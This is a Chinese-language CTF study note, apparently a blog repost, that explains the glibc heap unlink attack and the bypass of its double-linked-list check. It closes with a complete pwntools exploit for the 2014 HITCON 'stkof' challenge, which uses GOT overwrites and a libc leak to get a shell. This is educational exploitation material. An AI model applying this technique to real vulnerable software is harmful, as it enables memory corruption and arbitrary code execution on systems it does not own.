zoukankan      html  css  js  c++  java
  • Unlink

    ### unlink(堆合并)

    1. unlink过程

    ![image-20210926193647898](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210926193647898.png)

    2. [古老的unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

    关于实际地址值构造为什么要加3*size_t或者2*size_t

    > 个人觉得比较靠谱理解:p是chunk的实际指针,p->pk与p的地址相差3*size_t,即p->bk=*(p+3*size_t)
    >
    > 同理:p->fd=p+2*size_t
    >
    > 即:p->fd=*(p+2*size_t)
    >
    > ​ p->bk=*(p+3*size_t)
    >
    > 与实际指针地址冲突吗?
    >
    > 答:unlink里的FD和BK是整个chunk的指针, 不是用户指针ptr

    3. 现代漏洞

    存在检查:

    [现代unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

    ```c
    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    ```

    即固定FD->bk==P&&BK->fd==P,不能任意指向其他位置了

    + 如何绕过

    > 最终理解:
    >
    > 1. 64位程序,size_t=8,p为当前chunk,**FD=p->fd,BK=p->BK**
    > 2. 首先要进入unlink函数,必须保证p的P标志位为1
    >
    > 那么要让它绕过上边的检测,必须满足:
    >
    > - `FD -> bk == P` <=> `*(FD + 12) == P`
    > - `BK -> fd == P` <=> `*(BK + 8) == P`
    >
    > 2. 那么我们构造:
    >
    > BK=p-0x18
    >
    > FD=p-0x10
    >
    > 3. 此时检测:p->fd->bk=*((p->FD)+0x18)=p
    >
    > 同理:p->bk->fd=p
    >
    > 4. 满足条件,如果存在相邻的freechunk,进行unlink操作(满足unlink条件程序自动操作)
    >
    > unlink操作:
    >
    > `FD->bk=BK`
    >
    > `BK->fd=FD`
    >
    > + 最终效果:p=p-0x18
    >
    > 在unlink中:p的地址被改变
    >
    > 5. 由此可见,实现了p的地址被改变,且下次edit这块chunk时,可以任意写入地址

    + 源码分析

    ![image-20210928203612844](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928203612844.png)

    + 实例分析

    ![image-20210928214934472](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928214934472.png)

    ## 例9(2014-HITCON-stkof)

    1. 程序分析:

    + 主函数功能分析:

    选择功能

    1. alloc:输入size,malloc(size)字节空间,并使用全局变量s指向该段空间

    2. read_in:首先输入s,代表选中第s个chunk;再输入s,代表将读入字节的个数;再输入读入数据(此处存在堆溢出)

    > ```c
    > size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
    > ```
    >
    > - **ptr** -- 这是指向带有最小尺寸 *size*nmemb* 字节的内存块的指针。
    > - **size** -- 这是要读取的每个元素的大小,以字节为单位。
    > - **nmemb** -- 这是元素的个数,每个元素的大小为 size 字节。
    > - **stream** -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。

    3. my_free:输入s代表选中第s个chunk,将其free掉

    + 变量的解释

    ![image-20210927205025212](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210927205025212.png)

    2. 思路:

    - 利用 unlink 修改 global[2] 为 &global[2]-0x18。
    - 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
    - 修改 `free@got` 为 `puts@plt` 的地址,从而当再次调用 `free` 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
    - free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
    - 修改 `atoi@got` 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

    3. exp

    ```python
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
    context.log_level = 'debug'
    context.binary = "./stkof"
    stkof = ELF('./stkof')
    if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
    else:
    p = process("./stkof")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('./libc.so.6')
    head = 0x602140


    def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK ')


    def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK ')


    def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


    def exp():
    # trigger to malloc buffer for io function
    alloc(0x100) # idx 1
    # begin
    alloc(0x30) # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80) # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0) #prev_size
    payload += p64(0x20) #size
    payload += p64(head + 16 - 0x18) #fd
    payload += p64(head + 16 - 0x10) #bk
    payload += p64(0x20) # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)

    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK ')
    #此时已经完成unlink,因为3被free掉,而P标志位认为2也是free的
    #此时的bss段的s(0x602140)已经写入head+16-0x18,并认为他是第二块chunk
    #那么编辑第二块chunk,其实就是编辑bss段的(0x602140+16-0x18),要编辑到s指向的地方,需要填充8个字节垃圾数据,而其之后写入的就是s[1],s[2]...,而不是之前认为的往chunk里边写数据
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
    stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    #此处再次编辑的时候是把free的got表改成了put@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil(' OK ', drop=True).ljust(8, 'x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


    if __name__ == "__main__":
    exp()
    ```

  • 相关阅读:
    warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings]
    Windows10+CLion+OpenCV4.5.2开发环境搭建
    Android解决部分机型WebView播放视频全屏按钮灰色无法点击、点击全屏白屏无法播放等问题
    MediaCodec.configure Picture Width(1080) or Height(2163) invalid, should N*2
    tesseract
    Caer -- a friendly API wrapper for OpenCV
    Integrating OpenCV python tool into one SKlearn MNIST example for supporting prediction
    Integrating Hub with one sklearn mnist example
    What is WSGI (Web Server Gateway Interface)?
    Hub --- 机器学习燃料(数据)的仓库
  • 原文地址:https://www.cnblogs.com/yylblog/p/15350283.html
Copyright © 2011-2022 走看看